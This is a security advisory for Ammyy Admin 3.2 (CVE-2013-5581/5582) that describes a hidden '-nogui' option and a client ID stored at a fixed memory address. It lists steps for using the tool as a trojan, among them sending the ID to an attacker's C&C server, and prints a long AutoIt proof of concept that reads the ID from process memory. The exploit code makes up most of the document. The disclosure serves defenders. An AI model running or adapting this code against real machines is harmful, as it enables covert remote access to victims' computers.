Ammyy Admin 3.2 - Authentication Bypass

Title:

====

Ammyy Admin - Hidden hard-coded option and Access Control vulnerability.



Credit:

======

Name: Bhadresh Patel

Company/affiliation: Cyberoam Technologies Private Limited

Website: www.cyberoam.com



CVE:

====

- CVE-2013-5581 for hidden hard-coded option (CWE-255).

- CVE-2013-5582 for failure to enforce access restrictions for resources (CWE-264).



Date:

====

17-01-2014





CL-ID: 

====

CRD-2013-04 



Vendor:

======

Ammyy is in to developing cutting edge internet solutions. They have researched informational technologies and automation management of remote computer access services for many years. The result of their efforts is new Remote Access system "Ammyy Admin".



Product:

=======

Ammyy Admin is the easiest way to establish remote desktop connection. You can easily share a remote desktop or control a server over the Internet with Ammyy Admin. 

No matter where you are, Ammyy Admin makes it safe and easy to quickly access a remote desktop within a few seconds.

Ammyy Admin is trusted by more than 21 000 000 personal and corporate users.

Product link: http://www.ammyy.com/en/downloads.html 



Abstract:

======= 

Cyberoam Threat Research Labs discovered Hidden option and Access Control vulnerability in Ammyy Admin tool.





Report-Timeline (DD-MM-YYYY):

====================

12-08-2013: Vendor notification

13-08-2013: Vendor Response/Feedback

13-12-2013: Vendor Fix/Patch

17-01-2014: Public or Non-Public Disclosure 



Affected Version:

=============

Version (<=3.2)



Exploitation-Technique:

===================

Local



Severity Rating:

===================

CVSS Base Score 7.2 (AV:N/AC:M/Au:N/C:N/I:N/A:P)



Details:

=======

There is a Hidden option and Access Control vulnerability in Ammyy Admin tool which allows an attacker to utilize "Ammyy Admin tool" as a trojan horse to access computer without victim's information.

An approach to have hidden option "-nogui" along with storing "client ID" at fixed memory location could be exploited by an attacker to use "Ammyy Admin" as a trojan horse.



Proof Of Concept:

================

An attacker could exploit above vulnerabilities using following steps,



1) Create custom settings.rdp and settings3.bin to allow access to any "computer ID" with predefined password.

2) Use hidden option "-nogui" to run "Ammyy Amin" without the user information.

2) Acquire the client id by reading memory location "004A3658".

3) Send client id to attackers C&C server.



-------- Logs -------



###### Hidden hard-coded option (CVE-2013-5581) ######



root@bhdresh:~# strings AA_v3.2.exe | grep -i ^"-"

-f=*

- 5H

-connect

-set_proxy_

-dosas_

-elevated

-log

-lunch

-nogui

-service

-debug

-remove

-install

-outid

-setsettings

-rstid

-showversion

-notstartclient

-startclient

-minimize

-+/3





#### client ID at Fixed memory location (CVE-2013-5582) ####



=======PoC screenshot=======



http://oi42.tinypic.com/34owtoy.jpg





=======PoC autoit code to hijack client ID=======



Func _memoryopen($iv_pid, $iv_desiredaccess = 2035711, $iv_inherithandle = 1)

  If NOT ProcessExists($iv_pid) Then

    SetError(1)

    Return 0

  EndIf

  Local $ah_handle[2] = [DllOpen("kernel32.dll")]

  If @error Then

    SetError(2)

    Return 0

  EndIf

  Local $av_openprocess = DllCall($ah_handle[0], "int", "OpenProcess", "int", $iv_desiredaccess, "int", $iv_inherithandle, "int", $iv_pid)

  If @error Then

    DllClose($ah_handle[0])

    SetError(3)

    Return 0

  EndIf

  $ah_handle[1] = $av_openprocess[0]

  Return $ah_handle

EndFunc



Func _memoryread($iv_address, $ah_handle, $sv_type = "dword")

  If NOT IsArray($ah_handle) Then

    SetError(1)

    Return 0

  EndIf

  Local $v_buffer = DllStructCreate($sv_type)

  If @error Then

    SetError(@error + 1)

    Return 0

  EndIf

  DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")

  If NOT @error Then

    Local $v_value = DllStructGetData($v_buffer, 1)

    Return $v_value

  Else

    SetError(6)

    Return 0

  EndIf

EndFunc



Func _memorywrite($iv_address, $ah_handle, $v_data, $sv_type = "dword")

  If NOT IsArray($ah_handle) Then

    SetError(1)

    Return 0

  EndIf

  Local $v_buffer = DllStructCreate($sv_type)

  If @error Then

    SetError(@error + 1)

    Return 0

  Else

    DllStructSetData($v_buffer, 1, $v_data)

    If @error Then

      SetError(6)

      Return 0

    EndIf

  EndIf

  DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")

  If NOT @error Then

    Return 1

  Else

    SetError(7)

    Return 0

  EndIf

EndFunc



Func _memoryclose($ah_handle)

  If NOT IsArray($ah_handle) Then

    SetError(1)

    Return 0

  EndIf

  DllCall($ah_handle[0], "int", "CloseHandle", "int", $ah_handle[1])

  If NOT @error Then

    DllClose($ah_handle[0])

    Return 1

  Else

    DllClose($ah_handle[0])

    SetError(2)

    Return 0

  EndIf

EndFunc



Func setprivilege($privilege, $benable)

  Const $token_adjust_privileges = 32

  Const $token_query = 8

  Const $se_privilege_enabled = 2

  Local $htoken, $sp_auxret, $sp_ret, $hcurrprocess, $ntokens, $ntokenindex, $priv

  $ntokens = 1

  $luid = DllStructCreate("dword;int")

  If IsArray($privilege) Then $ntokens = UBound($privilege)

  $token_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")

  $newtoken_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")

  $hcurrprocess = DllCall("kernel32.dll", "hwnd", "GetCurrentProcess")

  $sp_auxret = DllCall("advapi32.dll", "int", "OpenProcessToken", "hwnd", $hcurrprocess[0], "int", BitOR($token_adjust_privileges, $token_query), "int*", 0)

  If $sp_auxret[0] Then

    $htoken = $sp_auxret[3]

    DllStructSetData($token_privileges, 1, 1)

    $ntokenindex = 1

    While $ntokenindex <= $ntokens

      If IsArray($privilege) Then

        $priv = $privilege[$ntokenindex - 1]

      Else

        $priv = $privilege

      EndIf

      $ret = DllCall("advapi32.dll", "int", "LookupPrivilegeValue", "str", "", "str", $priv, "ptr", DllStructGetPtr($luid))

      If $ret[0] Then

        If $benable Then

          DllStructSetData($token_privileges, 2, $se_privilege_enabled, (3 * $ntokenindex))

        Else

          DllStructSetData($token_privileges, 2, 0, (3 * $ntokenindex))

        EndIf

        DllStructSetData($token_privileges, 2, DllStructGetData($luid, 1), (3 * ($ntokenindex - 1)) + 1)

        DllStructSetData($token_privileges, 2, DllStructGetData($luid, 2), (3 * ($ntokenindex - 1)) + 2)

        DllStructSetData($luid, 1, 0)

        DllStructSetData($luid, 2, 0)

      EndIf

      $ntokenindex += 1

    WEnd

    $ret = DllCall("advapi32.dll", "int", "AdjustTokenPrivileges", "hwnd", $htoken, "int", 0, "ptr", DllStructGetPtr($token_privileges), "int", DllStructGetSize($newtoken_privileges), "ptr", DllStructGetPtr($newtoken_privileges), "int*", 0)

    $f = DllCall("kernel32.dll", "int", "GetLastError")

  EndIf

  $newtoken_privileges = 0

  $token_privileges = 0

  $luid = 0

  If $sp_auxret[0] = 0 Then Return 0

  $sp_auxret = DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $htoken)

  If NOT $ret[0] AND NOT $sp_auxret[0] Then Return 0

  Return $ret[0]

EndFunc



Func _memorypointerread($iv_address, $ah_handle, $av_offset, $sv_type = "dword")

  If IsArray($av_offset) Then

    If IsArray($ah_handle) Then

      Local $iv_pointercount = UBound($av_offset) - 1

    Else

      SetError(2)

      Return 0

    EndIf

  Else

    SetError(1)

    Return 0

  EndIf

  Local $iv_data[2], $i

  Local $v_buffer = DllStructCreate("dword")

  For $i = 0 To $iv_pointercount

    If $i = $iv_pointercount Then

      $v_buffer = DllStructCreate($sv_type)

      If @error Then

        SetError(@error + 2)

        Return 0

      EndIf

      $iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])

      DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")

      If @error Then

        SetError(7)

        Return 0

      EndIf

      $iv_data[1] = DllStructGetData($v_buffer, 1)

    ElseIf $i = 0 Then

      DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")

      If @error Then

        SetError(7)

        Return 0

      EndIf

      $iv_data[1] = DllStructGetData($v_buffer, 1)

    Else

      $iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])

      DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")

      If @error Then

        SetError(7)

        Return 0

      EndIf

      $iv_data[1] = DllStructGetData($v_buffer, 1)

    EndIf

  Next

  $iv_data[0] = $iv_address

  Return $iv_data

EndFunc



Func _memorypointerwrite($iv_address, $ah_handle, $av_offset, $v_data, $sv_type = "dword")

  If IsArray($av_offset) Then

    If IsArray($ah_handle) Then

      Local $iv_pointercount = UBound($av_offset) - 1

    Else

      SetError(2)

      Return 0

    EndIf

  Else

    SetError(1)

    Return 0

  EndIf

  Local $iv_structdata, $i

  Local $v_buffer = DllStructCreate("dword")

  For $i = 0 To $iv_pointercount

    If $i = $iv_pointercount Then

      $v_buffer = DllStructCreate($sv_type)

      If @error Then

        SetError(@error + 3)

        Return 0

      EndIf

      DllStructSetData($v_buffer, 1, $v_data)

      If @error Then

        SetError(8)

        Return 0

      EndIf

      $iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])

      DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")

      If @error Then

        SetError(9)

        Return 0

      Else

        Return $iv_address

      EndIf

    ElseIf $i = 0 Then

      DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")

      If @error Then

        SetError(3)

        Return 0

      EndIf

      $iv_structdata = DllStructGetData($v_buffer, 1)

    Else

      $iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])

      DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")

      If @error Then

        SetError(3)

        Return 0

      EndIf

      $iv_structdata = DllStructGetData($v_buffer, 1)

    EndIf

  Next

EndFunc



Func _memorygetbaseaddress($ah_handle, $ihexdec = 0)

  Local $iv_address = 1048576

  Local $v_buffer = DllStructCreate("dword;dword;dword;dword;dword;dword;dword")

  Local $vdata

  Local $vtype

  If NOT IsArray($ah_handle) Then

    SetError(1)

    Return 0

  EndIf

  DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))

  If NOT @error Then

    $vdata = Hex(DllStructGetData($v_buffer, 2))

    $vtype = Hex(DllStructGetData($v_buffer, 3))

    While $vtype <> "00000080"

      DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))

      $vdata = Hex(DllStructGetData($v_buffer, 2))

      $vtype = Hex(DllStructGetData($v_buffer, 3))

      If Hex($iv_address) = "01000000" Then ExitLoop 

      $iv_address += 65536

    WEnd

    If $vtype = "00000080" Then

      SetError(0)

      If $ihexdec = 1 Then

        Return Dec($vdata)

      Else

        Return $vdata

      EndIf

    Else

      SetError(2)

      Return 0

    EndIf

  Else

    SetError(3)

    Return 0

  EndIf

EndFunc



Func _memorymodulegetbaseaddress($ipid, $smodule)

  If NOT ProcessExists($ipid) Then Return SetError(1, 0, 0)

  If NOT IsString($smodule) Then Return SetError(2, 0, 0)

  Local $psapi = DllOpen("psapi.dll")

  Local $hprocess

  Local $permission = BitOR(2, 1024, 8, 16, 32)

  If $ipid > 0 Then

    Local $hprocess = DllCall("kernel32.dll", "ptr", "OpenProcess", "dword", $permission, "int", 0, "dword", $ipid)

    If $hprocess[0] Then

      $hprocess = $hprocess[0]

    EndIf

  EndIf

  Local $modules = DllStructCreate("ptr[1024]")

  Local $acall = DllCall($psapi, "int", "EnumProcessModules", "ptr", $hprocess, "ptr", DllStructGetPtr($modules), "dword", DllStructGetSize($modules), "dword*", 0)

  If $acall[4] > 0 Then

    Local $imodnum = $acall[4] / 4

    Local $atemp

    For $i = 1 To $imodnum

      $atemp = DllCall($psapi, "dword", "GetModuleBaseNameW", "ptr", $hprocess, "ptr", Ptr(DllStructGetData($modules, 1, $i)), "wstr", "", "dword", 260)

      If $atemp[3] = $smodule Then

        DllClose($psapi)

        Return Ptr(DllStructGetData($modules, 1, $i))

      EndIf

    Next

  EndIf

  DllClose($psapi)

  Return SetError(-1, 0, 0)

EndFunc



#EndRegion



Func _memreaddll($dll, $offset, $ah_handle, $sv_type = "dword")

  $staticoffset = Dec($offset)

  $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)

  $finaladdr = "0x" & Hex($baseaddr + $staticoffset)

  $memtest = _memoryread($finaladdr, $ah_handle, $sv_type)

  Return $memtest

EndFunc



Func _memwritedll($dll, $offset, $value, $ah_handle, $sv_type = "dword")

  $staticoffset = Dec($offset)

  $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)

  $finaladdr = "0x" & Hex($baseaddr + $staticoffset)

  $memtest = _memorywrite($finaladdr, $ah_handle, $value, $sv_type)

  Return $memtest

EndFunc



Func _memwritedllbytearray($dll, $offset, $ah_handle, $v_array)

  Local $staticoffset = Dec($offset)

  Local $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)

  Local $finaladdr = "0x" & Hex($baseaddr + $staticoffset)

  Local $memtest = _memorywritebytearray($finaladdr, $ah_handle, $v_array)

  Return $memtest

EndFunc



Func _memorywritebytearray($iv_address, $ah_handle, $v_array)

  If NOT IsArray($ah_handle) Then

    SetError(1)

    Return 0

  EndIf

  If NOT IsArray($v_array) Then

    Return 0

  EndIf

  Local $emax = UBound($v_array)

  Local $bytestring = ""

  For $i = 0 To $emax - 1

    $bytestring = $bytestring & "byte;"

  Next

  Local $v_buffer = DllStructCreate($bytestring)

  If @error Then

    Return 0

  Else

    For $i = 1 To $emax

      DllStructSetData($v_buffer, $i, $v_array[$i - 1])

      If @error Then

        Return 0

      EndIf

    Next

  EndIf

  DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")

  If NOT @error Then

    Return 1

  Else

    SetError(7)

    Return 0

  EndIf

EndFunc



FileChangeDir(@TempDir)

FileDelete("id")

$id = ProcessExists("AAv3.exe")

Local $file = FileOpen("id", 1)

$memoryopen = _memoryopen($id)

While 1

  $mem_read1 = _memoryread("0x" & "004A3658", $memoryopen)

  If NOT $mem_read1 = "" Then

    MsgBox(0, "Cyberoam Threat Research Labs", $mem_read1)

    FileWrite($file, $mem_read1)

    ExitLoop 

  EndIf

  Sleep(100)

WEnd

_memoryclose($memoryopen)



==========================================

-------------------------- 



Caveats / Prerequisites:

======================

The attacker needs to entice victims to perform an action in order to exploit this vulnerability.





Risk:

=====



The security risk of Hidden option and Access Control vulnerability is estimated as High.



Credits:

=======

Cyberoam Threat Research Labs - Bhadresh Patel



Disclaimer:

===========

The information provided in this advisory is provided as it is without any warranty. Any modified copy or reproduction, including partially usages, of this file requires authorization from Cyberoam Threat Research Labs. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Cyberoam Threat Research Labs.



The first attempt at contact will be through any appropriate contacts or formal mechanisms listed on the vendor Web site, or by sending an e-mail with the pertinent information about the vulnerability. Simultaneous with the vendor being notified, Cyberoam may distribute vulnerability protection filters to its customers' IPS devices through the IPS upgrades. 

If a vendor fails to respond after five business days, Cyberoam Threat Research Labs may issue a public advisory disclosing its findings fifteen business days after the initial contact.



If a vendor response is received within the timeframe outlined above, Cyberoam Threat Research Labs will allow the vendor 6-months to address the vulnerability with a patch. At the end of the deadline if a vendor is not responsive or unable to provide a reasonable statement as to why the vulnerability is not fixed, the Cyberoam Threat Research Labs will publish a limited advisory to enable the defensive community to protect the user. We believe that by doing so the vendor will understand the responsibility they have to their customers and will react appropriately.

Cyberoam Threat Research Labs will make every effort to work with vendors to ensure they understand the technical details and severity of a reported security flaw. If a product vendor is unable to, or chooses not to, patch a particular security flaw, Cyberoam Threat Research Labs will offer to work with that vendor to publicly disclose the flaw with some effective workarounds.

Before public disclosure of a vulnerability, Cyberoam Threat Research Labs may share technical details of the vulnerability with other security vendors who are in a position to provide a protective response to a broader user base.

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